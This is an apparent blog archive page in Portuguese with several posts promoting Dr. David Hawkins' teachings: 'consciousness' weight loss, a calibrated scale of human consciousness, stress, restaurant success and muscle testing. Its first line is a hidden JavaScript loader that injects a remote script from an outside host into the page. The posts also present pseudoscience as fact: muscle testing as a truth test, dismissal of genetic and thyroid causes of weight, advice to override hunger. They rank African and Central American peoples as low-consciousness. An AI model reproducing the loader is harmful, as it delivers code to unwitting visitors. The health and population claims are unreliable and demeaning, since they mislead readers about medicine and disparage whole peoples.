;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Dr. David R. Hawkins - Página 2 de 6 - David Hawkins Brasil

Tag: Dr. David R. Hawkins

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David Hawkins

Como Perder Peso de Maneira Prática, Fácil e Alegre – Parte 1

Perder Peso

A cada ano, milhões de pessoas traçam como meta perder peso.

Em algum momento, todos esses indivíduos se perguntam: será que existe algum jeito de perder peso sem sofrimento? Será que é possível emagrecer de maneira simples, fácil, prática e alegre?

Para a surpresa de muitos estudantes do Dr. David Hawkins, o professor da consciência abordou este assunto em seu livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito.

A boa notícia é que, sim, é possível emagrecer de forma leve e feliz com a ajuda da consciência e da espiritualidade!

Veja o que Dr. David Hawkins recomenda para perder peso sem sofrer.

Como perder peso: Dr. David Hawkins também passou por isso

Dr. David Hawkins perdeu 25 quilos — o equivalente a 30% do seu peso corporal — permanentemente após aplicar o que ensina no capítulo 11 do livro Cura e Recuperação. 

Além de sua experiência pessoal, o doutor relata que a técnica ensinada funcionou para todos os pacientes que a colocaram em prática.

Dr. Hawkins explica que o alívio de um problema sempre deve ser simples, direto, duradouro e gratuito.

Como perder peso: o que NÃO funciona!

Segundo Hawkins, dietas normalmente não funcionam a longo prazo. Por quê? Simples: elas tendem a trazer sentimentos de culpa e recriminação.

Este é um ponto central: não é possível perder peso com base na culpa!

Enquanto não tivermos clareza disso, continuaremos repetindo alternativas que nos fazem sentir errados. Essas soluções até trazem resultados no curto prazo, mas não se sustentam, pois não mudam a maneira que a pessoa se relaciona com o corpo. Ou seja, não trabalham no nível da consciência.

Como perder peso: o que funciona?

Assim como já estudamos em outros artigos aqui do blog, o que soluciona os problemas em qualquer área da vida humana é a mudança no estado ou nível de consciência.

Neste sentido, é fundamental compreendermos a diferença entre “poder” e “força”, conforme relatado no livro best seller Poder vs Força, também de Dr. David Hawkins.

Basicamente, qualquer caminho que utilize como base a força de vontade está fadado a dar errado. Afinal, “força de vontade” significa justamente forçar a vontade, forçar a barra.

Como Dr. David Hawkins ensina, forçar algo sempre traz resultados e consequências negativas, levando ao sofrimento e à frustração. O que precisamos, então, é optar pelo uso do Poder, que significa ganharmos consciência sobre a situação e escolhermos um caminho de coragem, disposição, aceitação e amor em relação à situação.

Em suma, é preciso abrir mão do nível de consciência negativo da força de vontade (que é sinônimo de Desejo — calibragem em 125 na Escala da Consciência) e optar pelo nível de consciência positivo da Disposição (calibragem em 310).

Isso serve para qualquer contexto, inclusive o emagrecimento e a perda de peso.

Como perder peso: o passo a passo segundo Dr. David Hawkins

Os passos que Hawkins ensina têm como base a natureza da própria consciência. Ou seja, atuam a nível espiritual, e não apenas físico ou mental.

Passo 1: cancele crenças

Todos nós crescemos ouvindo a nossa família e as pessoas ao nosso redor afirmarem um monte de coisas diferentes sobre o corpo e suas condições. Mas será que essas afirmações são realmente verdadeiras?

Entre as crenças mais comuns estão:

“Na nossa família é normal estar acima do peso, são os genes.”

“É por causa da minha tireóide.”

“É porque eu tinha sobrepeso quando era criança e isso criou muitas células de gordura.”

Na prática, essas crenças populares e teorias médicas se mostram falsas.

Existem casos de pessoas que fazem a mesma dieta e obtêm resultados completamente diferentes. Assim como há casos de indivíduos que foram obesos a vida toda, vieram de famílias com vários casos de sobrepeso e conseguem emagrecer.

Esses são só alguns exemplos. O fato é que, não importa qual seja a crença popular ou médica sobre perder peso, a realidade mostra que essas afirmações não se sustentam.

Portanto, o primeiro passo para emagrecer com leveza é você cancelar as crenças negativas ou limitantes.

Você pode fazer isso afirmando: “Eu sou um ser infinito e só estou sujeito àquilo que mantenho em mente”.

Dr. Hawkins ensina que aquilo que mantemos em mente tende a se manifestar. Portanto, se você abrir mão de crenças limitantes e mantiver em mente apenas crenças positivas sobre o processo de emagrecimento, os resultados serão muito melhores.

Passo 2: mantenha um certo peso em sua mente

Ainda dentro da ideia de manter em mente aquilo que você deseja, é recomendável que você fixe mentalmente um peso desejável.

Se for 60 quilos, por exemplo, você pode até mesmo visualizar uma imagem da balança marcando 60 quilos.

É comum termos a ideia de que primeiro devemos mudar nossos resultados físicos para depois experienciarmos a felicidade, quando na verdade é o contrário. Primeiro devemos nos visualizar no estado desejado, pois o que é mantido em mente se manifesta no corpo.

Passo 3: quando sentir fome, observe a sensação

Agora vamos para um passo ainda mais prático!

Quando a sensação que até então você chamava de fome surgir, ignore os pensamentos, especialmente cancelando os pensamentos de fome.

Em vez disso, observe diretamente a sensação. Foque na experiência interior daquilo que você está vivenciando. Vá para o local onde está tendo essa sensação sem dar nomes ou rótulos para a sensação. Apenas observe e sinta. Apenas experiencie.

Comece a desapegar de resistir a essas sensações. Não tente se livrar da sensação. Não julgue a sensação como errada. Apenas sinta e observe.

Esse é o movimento de ir para a própria consciência.

Perceba que para fazer isso você não precisa de muito tempo. Dr. Hawkins descobriu que qualquer técnica de mudança comportamental funciona se ela se encaixar na rotina da pessoa. Porém, se exigir mudar todo o estilo de vida, os resultados provavelmente não se sustentarão.

No começo, é indicado que assim que a fome surgir você pare por alguns minutos, sente-se tranquilamente e faça esse processo de observação.

Entretanto, com a prática você verá que será possível utilizar essa técnica de forma fluida no dia a dia, sem nem mesmo precisar parar ou se sentar.

Caso queira se aprofundar ainda mais nesse processo de experienciar e desapegar da sensação, leia o livro best seller Deixar Ir. Essa é a obra em que Dr. Hawkins explica em detalhes o mecanismo da rendição ou desapego.

Como perder peso: continue aprofundando o assunto

Gostou desses 3 pontos iniciais para perder peso com o auxílio da consciência e espiritualidade?

No segundo artigo desta série vemos os passos seguintes recomendados por Dr. David Hawkins para emagrecer de maneira prática, fácil e alegre.

Leia a continuação e descubra como perder peso sem sofrer!

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Níveis de Consciência

Qual é a verdadeira origem do sofrimento humano?

Sofrimento

Você já se perguntou por que uma porcentagem tão grande da população humana vive em níveis graves de pobreza e sofrimento?

Ou então, já se questionou por que alguns povos e grupos sociais parecem ter tanta dificuldade para se manterem empregados e longe do crime ou da corrupção?

É comum analisarmos as causas das dificuldades humanas, e normalmente acreditamos que a origem dos problemas está nas questões sociais, econômicas ou educacionais. Certamente, todos esses fatores fazem parte da equação.

Porém, através de décadas de estudo sobre as verdadeiras origens do sofrimento humano, Dr. David Hawkins nos mostra que existe um ponto mais profundo que culmina em todos os problemas de distribuição social: os níveis de energia da população.

Nos últimos artigos baseados no livro Poder vs Força, tivemos a oportunidade de conhecer os Níveis de Consciência e o Teste Muscular aplicado à Escala da Consciência. 

Agora, aprenderemos sobre a Distribuição Social e sua relação com os Níveis de Consciência das diversas “camadas” da população. Veremos como é a distribuição da sociedade em relação aos níveis de energia e consciência, e as consequências que isso traz em aspectos da vida cotidiana.

Distribuição Social dos Níveis de Consciência

De acordo com milhões de calibragens feitas no estudo dos níveis de consciência humana, Dr. David Hawkins constatou que uma representação gráfica da distribuição dos níveis de energia da população mundial se assemelharia ao formato de uma pirâmide.

Ou seja, são diversas “camadas” da população, onde a parte baixa da pirâmide concentra muito mais pessoas do que a parte alta. Neste caso, 85% da raça humana calibra abaixo de 200 (Coragem), nível crítico onde inicia a integridade.

Em outras palavras, a maioria esmagadora da população humana (85%) vive suas vidas baseada em emoções como Orgulho, Raiva, Ganância, Medo, Tristeza, Apatia, Culpa e Vergonha.

Em um primeiro momento esta porcentagem pode até parecer improvável, mas basta examinarmos as condições do mundo para percebermos que alguns subcontinentes inteiros têm dificuldades até mesmo de sobreviver. Nesses locais, fome e doenças são comuns, assim como opressão política e escassez de recursos sociais.

As energias de Apatia e Medo levam à miséria e sofrimento

Em alguns países e locais, a população vive em um estado constante de Apatia. Este é um nível de consciência extremamente baixo (apenas 50 na Escala de Consciência, que vai de 1 a 1.000).

O estado energético de apatia, que é um estado praticamente de ausência de consciência, faz com que a vida se torne desesperançosa e miserável. Não há perspectiva de futuro e todos os problemas parecem não ter solução.

Além disso, grande parte do resto da população mundial vive basicamente no nível de consciência do Medo (nível 100 na Escala da Consciência). 

Até certo ponto, é comum que o ser humano busque uma forma ou outra de segurança durante toda a sua vida. No entanto, pessoas que baseiam sua existência na energia do medo não conseguem avançar em nenhuma área da vida. Elas vivem preocupadas, com medo de perder, e acabam atraindo todos os tipos de problemas — pois seu foco está sempre naquilo que podem perder, onde podem falhar, ataques que podem sofrer etc.

O Desejo e o Orgulho aprisionam as pessoas no status

Uma parte da população mundial transcende a desesperança (Apatia) e o mero impulso de sobrevivência (Medo) e passa a buscar satisfazer suas vontades a partir do nível de consciência de Desejo/Ganância (125 na Escala da Consciência, que vai de 1 a 1.000).

Essa é a energia que impulsiona diversos setores da economia por meio do consumo, da propaganda e, inclusive, da própria inveja. Quando os seres humanos conseguem alcançar seus objetos de desejo, eles desenvolvem o que o mundo muitas vezes reconhece como sucesso e status. Isso os leva ao nível de consciência do Orgulho (175 na Escala de Consciência).

Entre os níveis considerados negativos (aqueles abaixo de 200 na escala de 1 a 1.000), o nível de Orgulho é o nível negativo que está mais próximo das energias positivas. O problema é que, justamente por isso, ele se torna um “falso positivo”. 

Para as pessoas que até então viviam presas em Apatia ou Medo, o Orgulho parece extremamente agradável e atrativo. Contudo, Dr. Hawkins destaca que não se pode ter qualquer satisfação humana significativa antes do nível de 250 (Neutralidade).

Isso porque todos níveis negativos trazem muito mais sofrimento do que alegria (mesmo no nível de Orgulho, a felicidade chega a no máximo 22%).

Já no primeiro nível positivo, a Coragem, a felicidade já salta para 55%. O desafio aí é que a Coragem ainda está muito suscetível à influência e às oscilações dos níveis negativos. Por isso Hawkins nos diz que a Neutralidade representa o primeiro nível de consciência seguro para um indivíduo ou para uma população.

Correlação cultural dos níveis de consciência

Como mencionamos, cada nível de consciência ou nível de energia terá como consequência determinados padrões nos aspectos da vida cotidiana da população.

A seguir, os níveis abaixo de 200 representam os níveis negativos de consciência, enquanto os níveis acima de 200 representam as energias positivas.

Níveis abaixo de 200 (níveis de sofrimento acentuado)

Nos países e populações que calibram abaixo de 200, o foco está simplesmente em sobreviver. O padrão aqui é de escassez. Faltam roupas, o analfabetismo é comum, as doenças e a desnutrição estão presentes, a mortalidade infantil é alta.

Povos que calibram abaixo de 200 fazem trabalhos pouco qualificados, comércio rudimentar e constroem artefatos simples, como canoas e alojamentos temporários. O estilo de vida pode ser ainda nômade, ou então contar com agricultura pouco evoluída. São os países subdesenvolvidos, como é comum em certas nações da África ou América Central.

As populações que calibram em torno de 200 apresentam mão de obra semiqualificada. As roupas são adequadas e a educação fundamental já está presente.

Níveis de 200 a 299 (Coragem e Neutralidade)


Aqui já vemos povos ou camadas da população com mão de obra qualificada, trabalhadores de escritório, negociantes e comerciantes, além de indústrias.

Nos níveis anteriores a pesca, por exemplo, é uma atividade de subsistência. A partir daqui ela já se torna uma indústria.

Níveis de 300 a 399 (Disposição e Aceitação)

A partir do nível de 300, temos os profissionais técnicos, gerentes, os artesãos habilidosos e as estruturas de negócio mais sofisticadas.

Em populações desses níveis, a conclusão do ensino superior se torna algo comum. Aqui temos os países em desenvolvimento, os quais ainda têm muitos pontos de desigualdade para superar, mas onde a qualidade de vida já é muito superior às nações abaixo de 200.

As pessoas se interessam por esportes, estilo e entretenimento. A TV costuma ser um grande passatempo.

Conforme avançamos (nível 350 em diante), encontramos a gerência superior, os educadores e os artesãos mais conscientes. São as pessoas que pensam no coletivo, tendo uma visão de mundo que vai além da sua vizinhança ou cidade. Aqui a sobrevivência já está assegurada por uma série de habilidades que foram desenvolvidas, então é possível focar em contribuir com o mundo, viajar e curtir a vida de outras formas.

Níveis de 400 a 499 (Razão)

No nível da razão vemos o despertar do intelecto. O foco se volta à educação superior, à ciência, à literatura. A razão é a consciência típica dos executivos e cientistas. Em termos globais, este é o nível das nações desenvolvidas.

Se nos níveis mais baixos as casas das pessoas apresentam poucos materiais de leitura, aqui as famílias leem jornais, revistas e têm estantes cheias de livros. Na TV, o interesse é por canais de educação e consciência política mais sofisticada. Grandes referências em comunicação, em questões intelectuais e artísticas estão neste nível, assim como grandes juízes, estadistas, inventores e líderes de indústrias. As recreações agora envolvem o xadrez, viagens culturais, shows e espetáculos de teatro.

Como a educação é a base deste nível, as pessoas costumam se reunir em grandes áreas metropolitanas, onde existem os centros importantes de instrução e informação, como as grandes universidades. Para ter uma ideia, Albert Einstein e Sigmund Freud calibravam em 499, assim como Newton e Descartes.

Níveis acima de 500 (Amor, Paz e Iluminação)

Se no nível de 200 temos uma “divisão” crítica da consciência, um outro grande salto acontece aos 500. Aqui a grande motivação passa a ser o Amor, independente da atividade que esteja sendo executada.

Pessoas nesse nível trazem a excelência, a criatividade, a dedicação, o compromisso e o altruísmo como marca. A partir desse nível emergem grandes obras da música, arquitetura e outras artes. Nos 500 mais altos estão os líderes mais inspiradores, que servem de exemplo para toda a sociedade e que ajudam a reduzir o sofrimento da humanidade.

Pouquíssimas pessoas despertam o nível de 600, caracterizado pela Paz. Nesse ponto o indivíduo pode se tornar uma “lenda”, tendo como marca principal a compaixão.

Os níveis de consciência e a origem do sofrimento ou felicidade: o que podemos concluir

Desde que nascem, todas as pessoas já possuem um nível de consciência. Em média, o nível de consciência só aumenta em cinco pontos para cada pessoa ao longo da vida. Isso não quer dizer que não possam haver saltos de consciência ou grandes evoluções individuais — afinal, estamos falando da média da população.

Esse nível de energia, desde o nascimento, é o principal ponto de influência que determina se as experiências das pessoas serão positivas ou negativas, felizes ou sofridas; se elas passarão por desemprego ou encontrarão oportunidades constantes; se buscarão crescer ou permanecerão apáticas.

Segundo Dr. David Hawkins, o nível de consciência é definido por motivação e escolha. Portanto, a maneira mais efetiva para melhorar a situação de vida e vencer o sofrimento é buscar se conectar com um novo nível de consciência mais expandido — isso serve tanto para um indivíduo como para uma população.

De acordo com Hawkins , se escolhermos conscientemente viver a vida de maneira amigável, sincera, amável e tolerante, além de altruísta, certamente níveis mais elevados de consciência podem ser atingidos, embora na prática isso exija uma grande disposição.

A oportunidade de superar o sofrimento e transformar a vida existe para todos que se determinarem verdadeiramente a ativar esse potencial.

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Estresse e Sentimentos Reprimidos

Estresse

No último artigo sobre o método do Dr. David Hawkins, o Deixar Ir, falamos sobre os sentimentos e a maneira como lidamos com ele. Que tal agora olharmos o estresse e outros sentimentos reprimidos?

Sentimentos Reprimidos – a origem do Estresse

Cada dia mais escutamos falar do estresse como algo que vem de fora e nos afeta nos desequilibrando física, emocional e espiritualmente. 

Mas, será que o estresse é realmente fruto de fatores externos, de uma vida agitada e cheia de preocupações e compromissos, ou seria o estresse uma projeção daquilo que está dentro de nós? 

Segundo Dr. Hawkins o estresse nada mais é do que uma forma de deixarmos ir a pressão de sentimentos reprimidos. São eles que nos deixam vulneráveis ao estresse externo. 

Reagimos ao medo, por exemplo, de acordo com o quantum de medo que já existe dentro de nós. O medo interno cria uma projeção e passamos a ver o medo em tudo o que nos rodeia. Nesse sentido, o externo passa a ser um lugar perigoso porque nosso medo interno se projeta para tudo o que olhamos fora de nós. 

“A regra básica é que focamos no que reprimimos. Estresse é o resultado da pressão acumulada dos nossos sentimentos reprimidos e suprimidos.” (Dr.David Hawkins)

Sentimentos bloqueados e o adoecimento 

Reprimimos nossos sentimentos e essa energia retorna ao nosso sistema nervoso autônomo causando doenças. 

O estresse é isso, uma reação emocional a um estímulo que se precipita assim como seu nível é determinado por nossas crenças e pressões emocionais.

Dr. Hawkins cita o efeito do estresse nos testes musculares, que ele relata claramente em seu livro “Poder vs Força”. Um sentimento negativo provoca perda de 50% da força muscular e reduz a visão física e mental.

Qual é o grau de reatividade que temos aos estímulos externos? 

O mecanismo do Deixar Ir colabora para a diminuição da pressão interna desses sentimentos e das respostas do corpo físico ao estresse. 

Os programas de redução do estresse atuais 

Será que eles funcionam? Em que estão baseados?

Geralmente, o que vemos é a tentativa de aliviar o estresse após ele já estar estabelecido, Mas, qual é sua causa, sua origem?

“É como tentar reduzir a febre sem corrigir a infecção.”(Dr.Hawkins) 

 E por que não atuar na origem, naquilo que está subjacente, ou seja, os sentimentos reprimidos e suprimidos como a raiva, o medo, a culpa e outros sentimentos negativos que impactam nas nossas percepções e comportamentos diante das situações, das pessoas e do mundo. 

Sem essa consciência, do que realmente guardamos em nosso inconsciente, das emoções que soterramos, estaremos apenas cuidando da superfície do problema, mas não atingindo o centro da questão. 

Em seu livro “Deixar Ir”  Dr. Hawkins traz inúmeros exemplos de como o mecanismo do deixar ir pode beneficiar nossa saúde física e mental. Um verdadeiro tratado de como podemos cuidar dos nossos sentimentos e de nossa saúde.

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Examinando as Barreiras do Sucesso

Barreiras do Sucesso

Vamos examinar quais as barreiras do sucesso? Vamos voltar ao exemplo de um negócio conhecido: os restaurantes. 

Você pode se perguntar: restaurantes? Sim, eles mesmos.

Se você acompanhou nosso último artigo vai compreender porque eles estão nesse texto. Vamos olhar para aspectos práticos desse negócio.

Restaurantes são negócios com os quais todos nós estamos familiarizados, o que facilita o a análise do sucesso.

Olhando desde o princípio do negócio, a percepção e a experiência do consumidor com restaurantes observamos que existem várias etapas para que a ideia se concretize.

Pensar e observar cada uma dessas etapas, desde o princípio é fundamental para o sucesso do estabelecimento. Vamos pontuá-las num guia rápido de análise dos diversos fatores envolvidos nisso.

Considerando o Acesso ao Restaurante

Parece algo tão básico, mas muitas vezes alguns estabelecimentos não são efetivos e claros ao se comunicar com o público, deixam de observar coisas fundamentais que facilitam a percepção e o envolvimento do cliente com o local.

Barreiras do Sucesso – O nome do negócio

Qual o nome que se dará ao restaurante?

  • É algo que atende à vaidade do dono?
  • Um nome longo e chique em francês?
  • Um nome bizarro e difícil de pronunciar?

Barreiras do Sucesso – O endereço do negócio

Foi divulgado adequadamente? 

A divulgação foi feita cuidadosamente?

Contém todas as informações necessárias como o endereço completo com rua, número, por exemplo? 

E no local físico, o número existe e tem boa visibilidade? 

Barreiras do Sucesso – A facilidade de comunicação com o negócio

O telefone ou qualquer outro meio de acesso está facilmente disponível? A comunicação contém o telefone?

Algo elementar, mas muitos estabelecimentos simplesmente deixam de dar informações simples e precisas sobre como o consumidor pode acessar o local.

O local precisa ser facilmente encontrado pelo cliente

Se essas 3 barreiras do sucesso iniciais trouxeram dificuldade de acesso ao serviço ou ao produto, existe uma grande possibilidade do consumidor começar a se questionar sobre como um negócio pode sobreviver não observando a ausência de informações. 

Um restaurante que tem:

  • um nome impronunciável,
  • um endereço oculto
  • um telefone desconhecido
  • ou não divulga qualquer forma de contato

Cria a percepção de que não faz questão de facilitar o acesso do cliente a ele. 

A Experiência no Local 

Finalmente você está no restaurante! E aí, o cliente começa a observar a estrutura do local, qual a experiência que ele oferece.

Recepção –  Como fomos atendidos?

  • Uma hostess fria e com sorriso amarelo te atendeu e deixa você na espera?
  • Você foi levado para o bar e lá fica aguardando um bom tempo para a mesa ser liberada?
  • A mesa destinada a você fica próxima ao banheiro e já estava vazia há muito tempo? 

Qual será a impressão que você ficará desse local?

Banheiros – “O jeito que é o banheiro, também é a cozinha.”

Com certeza esse é um pensamento que passa na cabeça de todo mundo que visita o banheiro de um restaurante.

Nossa imaginação nos leva a estender o cuidado que se tem com a higiene do banheiro para a cozinha, para o comportamento do cozinheiro. 

Outro aspecto sobre esse item, é o quanto restaurantes muito bem decorados pecam em apresentar banheiros decorados sem o mesmo rigor. Embora nem todas utilizem os banheiros, são muito importantes na experiência. 

Os banheiros expressam o cuidado, a criatividade e o zelo do proprietário com seu negócio e com aquilo que vai oferecer ao seu cliente. 

A qualidade da experiência

É o conjunto de todas essas experiências que transmitirá o prazer do dono em servir, a intenção que está por trás de seu negócio.

Não é apenas vender, mas algo que entusiasme, que transmita o amor que existe naquele negócio. 

Boas experiências gerarão lealdade e indicações porque foram agradáveis e criaram percepções da boa intenção e amorosidade contida nesse negócio. 

“Sucesso é a consequência automática de boa vontade”(Dr.Hawkins) 

A força para o sucesso e o poder da atração 

A boa vontade e a intenção motivacional geram poder e o sucesso que não pode ser copiado. É o poder da atração. 

O esforço para se obter o sucesso acaba gerando exaustão e minando as forças. Já a atração que um estabelecimento/negócio é capaz de gerar pela experiência que oferece funciona de tal forma que o Universo trará o sucesso ao empreendedor. 

E, aqui deixamos uma dica para ler sobre o conceito dos campos atratores que Dr. David Hawkins explica em seu livro “Poder vs Força” e que também está descrito em nosso artigo “7 conceitos chave aplicados no estudo dos Níveis de Consciência”. 

A pergunta que está subjacente para compreender se estamos atuando com o poder da atração é:

Como um restaurante faz os outros se sentirem sobre ele?

Imagine se a resposta trouxer aspectos como esses: 

  • a localização é péssima
  • fiquei em pé numa fila,
  • os banheiros são nojentos
  • as cadeiras desconfortáveis
  • o garçom era desrespeitoso
  • o estacionamento é caro e o carro fica no sol
  • o ambiente é feio, apertado, mal iluminado, mal decorado
  • a música ambiente é desagradável e alta 

Essa experiência não faz as pessoas se sentirem bem sobre uma experiência.

Intuitivamente, entendemos e captamos a intenção ou a falta de carinho e energia investidos por trás de cada aspecto do negócio e é esse campo que gerará um movimento de atração ou aversão às novas experiências com esse local.

Que negócio esteve ali antes desse restaurante?

Outro aspecto que pode ser impactante no sucesso de um novo restaurante é a observação da seguinte questão: já houve outros restaurantes no mesmo edifício? Por que eles fecharam? Faliram? O que exatamente houve nesse local? 

Alguns locais têm campos atratores verdadeiramente desfavoráveis que podem interferir e impactar no sucesso de um negócio.

Segundo Dr. Hawkins, esse é um assunto que merece um livro exclusivo mas, em linhas gerais e até mesmo usando uma forma simples de se dizer, são locais onde energias desfavoráveis atuam, prejudicando o desenvolvimento de atividades de sucesso. 

A Consciência da Boa Vontade 

A consciência da boa vontade que é formada tanto pelas experiências dos consumidores quanto pela energia do local e intenções do proprietário é fundamental para o sucesso.

A atenção e a solicitude são a base para negócios lucrativos e prazerosos. 

Diz Dr. Hawkins:

“É importante fazer o cliente se “sentir em casa”. Isso é simples decência e hospitalidade, que tanto falta hoje em dia nas empresas previsíveis e tediosas. Um ambiente tedioso cria colaboradores entediados e trazem consumidores estúpidos ou chatos, que fazem toda a experiência se tornar cansativa. As pessoas nos perdoam por qualquer coisa, exceto por entediá-las.”

E é num tom divertido que Dr. Hawkins nos conduz ao entendimento do que é o verdadeiro sucesso através da leitura desse livro. É uma experiência agradável que, com certeza, agregará muito àqueles que se aventurarem em sua leitura.

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Níveis de Consciência

Teste Muscular – A Cinesiologia aplicada aos Níveis de Consciência

Teste Muscular

Será que um teste muscular pode colaborar com a investigação da verdade e com o desenvolvimento da escala da consciência?

Para Dr. David Hawkins sim e se você estiver acompanhando nossos artigos sobre o livro “Poder vs Força” também vai compreender como o trabalho dos Níveis de Consciência é um divisor de águas na compreensão do comportamento humano.

Agora é a vez de conhecer um pouco sobre a história e a base de desenvolvimento desse estudo que durou cerca de 20 anos e que adotou um método clínico pragmático com a avaliação de incontáveis calibragens.

Milhares de pessoas com características demográficas, de saúde e de personalidade das mais diversificadas; pertencentes à inúmeras áreas do conhecimento humano e residentes em diversos países e continentes foram testadas para a compilação dos dados.

O estudo também foi conduzido em grupos e individualmente e, consideradas todas as variáveis, o método se mostrou replicável e com resultados idênticos e reproduzíveis.

Até mesmo a variação de ambientes onde os indivíduos eram testados e os estados emocionais também foram diversificados, buscando-se a maior abrangência de condições possível.

Cinesiologia 

A grande ferramenta desse estudo foi a Cinesiologia, ciência que demonstrou que os músculos tornam-se:

  • instantaneamente fracos quando o corpo é exposto a estímulos nocivos e
  • fica forte quando exposto a estímulos benéficos.

Essa técnica se mostrou rápida, eficiente, fácil de executar e altamente decisiva. E o mais interessante é que o corpo responde sem mesmo a mente ter conhecimento da resposta.

A partir desses resultados, muitos médicos passaram a usar a Cinesiologia como ferramenta diagnóstica com ótimos resultados.

“O corpo de fato consegue responder com precisão, mesmo quando a mente consciente não tem conhecimento” (Dr.Hawkins)

Um exemplo disso foi um experimento com 2 tipos de envelopes para uma plateia de mil pessoas.

Um deles continha adoçante artificial e o outro vitamina C orgânica. Os participantes testavam uns nos outros os envelopes de forma cega, ou seja, eles não sabiam o que havia no envelope.

A surpresa foi enorme ao ver que em contato com o adoçante artificial a musculatura dos participantes ficava fraca, ao passo que em contato com a vitamina C orgânica, os músculos reagiam com força. 

O experimento mostrou o quanto nosso corpo é capaz de oferecer respostas sem que a consciência esteja presente nisso.

Qual foi o contexto histórico desse estudo? 

Saber a evolução do uso diagnóstico da Cinesiologia é importante para acompanharmos sua evolução até chegar à escala dos níveis de consciência.

Em 1970, estudos sobre a influência da nutrição na saúde integral eram hostilizados pela maioria da comunidade médica. Mas alguns setores da medicina, especialmente os médicos holísticos, se envolveram francamente com os testes musculares em suas práticas clínicas. 

Acompanhe a linha do tempo:

Mas, afinal como é essa Técnica?

É tão efetiva quanto simples! 

São 2 pessoas, uma será testada estendendo o braço lateralmente, paralelamente ao chão à altura do ombro e a outra exercerá uma força no braço para baixo, utilizando apenas 2 dedos nos pulsos de quem será testado e deve dizer “resista”. 

Uma afirmação deve ser feita, como por exemplo: meu nome é…. Se a pessoa sendo testada tiver citado seu próprio nome, o braço permanecerá forte, mas se a afirmação for falsa, o braço perderá força e descerá.

A técnica para a calibragem dos níveis de consciência utiliza uma escala que vai de 20 a 1000, classificando os diversos níveis dos negativos até os positivos. 

A simplicidade e eficácia da técnica permite sua aplicação nos mais diversos contextos, desde que a questão seja bem formulada de forma a permitir respostas exatas como verdadeiro ou falso, sim ou não. 

Vale, entretanto, citar alguns aspectos importantes para o uso da técnica:

  • Deve ser utilizada apenas para condições existentes ou eventos passados. Questões do futuro não obterão respostas válidas
  • A impessoalidade sobre sentimentos positivos e negativos durante o procedimento deve ser observada
  • Não deve haver música ou distrações no plano de fundo 
  • Aquele que vai ser testado deve permanecer com os olhos fechados 

O cuidado com a execução do teste inclui ainda outros detalhes mais específicos, mas a ideia aqui é mostrar o quão simples é sua execução, embora esteja completamente apoiado na ciência.

O uso do Teste Muscular no Estudo da Escala dos Níveis de Consciência 

Dr. Hawkins usou o teste muscular para a pesquisa sobre os níveis de consciência introduzindo uma correlação numérica em escala logarítmica para calibrar o poder relativo da energia de diferentes atitudes, pensamentos, sentimentos, situações e relacionamentos.

Essa escala vai de 1 a 1000 e está assim distribuída:

  • de 1 a 600 – existência física e o ápice da consciência humana
  • de 600 a 1000 – estados avançados de iluminação

O uso da técnica deve ser responsável e utilizada segundo a aprovação do indivíduo a ser testado. A resposta não está relacionada à força física do indivíduo.

Avaliar caso a caso com ética e responsabilidade, considerando-se os contextos e variáveis é atitude necessária.

Tudo é feito em nome do Bem Maior e isso deve estar presente na formulação da afirmativa a ser testada.

“Dedicação e intenção com a verdade têm de ser vistos como prioridade, acima de opiniões pessoais e tentativas de provar estar certo.”(Dr. Hawkins) 

Existem limites para o teste muscular?

Para obter resultados precisos é necessário que aquele que se submete ao teste tenha:

  • uma calibragem em 200 dentro da escala dos níveis de consciência
  • uma intenção íntegra e verdadeira que esteja acima de 200. 
  • a verdade como guia e não a subjetividade 

Segundo Dr.Hawkins, pelo menos 10% da população não atende a esses quesitos e, portanto não está apta a usar o teste. 

“O surgimento de uma ciência clínica da consciência que valida a Realidade espiritual, naturalmente, vai gerar resistência, uma vez que é na verdade um confronto direto da dominação narcisista do próprio núcleo do ego, que é inatamente presunçoso e opinativo.” (Dr.Hawkins)

O livro “Poder vs Força” traz uma explicação bastante detalhada de todo esse processo e é quase que uma conversa com Dr. Hawkins que explica detalhadamente todo o desenvolvimento de seu estudo e o quanto ele impactou na vida de milhares de pessoas.

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Um Método Simples de Desapego – Deixar Ir

Método Simples

Talvez você já tenha usado esse método simples para desapegar e nem tenha se dado conta.

Sabe quando a gente tem aquela sensação de peso no peito, sentimentos que nosso pensamento está aprisionado e, de repente, essa sensação cessa e começamos a nos sentir mais leves, aliviados?

Com certeza você já sentiu isso alguma vez e pode perceber o quanto isso é libertador. 

Quer um exemplo? 

Você começa a discutir com alguém e do nada percebe o quão ridícula é aquela discussão e não se contém e sorri. Como num passe de mágica você simplesmente deixa aquele estado de irritação e se rende. 

E se pudesse fazer isso em todas as situações de pressão e estresse, em qualquer tempo e espaço? 

Esse é o deixar ir, uma técnica que nos libera de nos sentirmos encurralados por sentimentos de irritação ou chateação e que aprisionam nossos pensamentos. Esse método simples faz com que a gente deixe de ser vítima de uma situação e nos faz atuar ativamente, nos tornando responsáveis por nossas reações e retirando de nós a incidência de pressões.

A Carga Humana 

Nosso mental é repleto de pensamentos e crenças negativas e vamos nos acostumando com isso, acreditando que isso faça parte da condição humana. E, como essa visão “fatalista”, passamos boa parte da vida nos esmerando em fugir dos conflitos internos do medo e da miséria.

Temos receio de enfrentar esses pensamentos, mas na verdade, o que evitamos é lidar com os sentimentos que acompanham esses pensamentos e vamos os acumulando mais e mais.

Sentimentos criam inúmeros pensamentos desde nossa infância. Uma única lembrança dolorosa da vida na infância pode gerar diversos pensamentos dolorosos ao longo da vida. 

Por isso, quando renunciamos, ou seja, deixamos ir um sentimento, liberamos todos os pensamentos associados a ele. 

Render os Sentimentos – um método simples

Todos os sentimentos podem ser rendidos em qualquer momento e local, sem esforço.

Mas, o que é o estado de rendição? 

A partir do momento no qual nos liberamos de sentimentos negativos, seja em que área for da vida, a criatividade e a espontaneidade surgem sem conflitos internos, de maneira clara, deixando que o bem maior se manifeste em nossa vida em cada situação.

Como lidamos com os Sentimentos?

Sim, legal, um método simples que vai nos ajudar a render os sentimentos, mas como podemos lidar com eles? 

O ser humano não quer ser incomodado por sentimentos, especialmente porque não sabemos muito bem o que fazer com eles.

Primeiro, vamos compreender como lidamos como os nossos sentimentos. No geral, temos três formas de lidar com sentimentos. Vamos entender cada um deles: 

Supressão e Repressão

É deixar os sentimentos de lado.

  • Na Supressão deixamos eles de lado de maneira consciente
  • Na Repressão, fazemos isso de forma inconsciente. 

Percebeu a diferença?

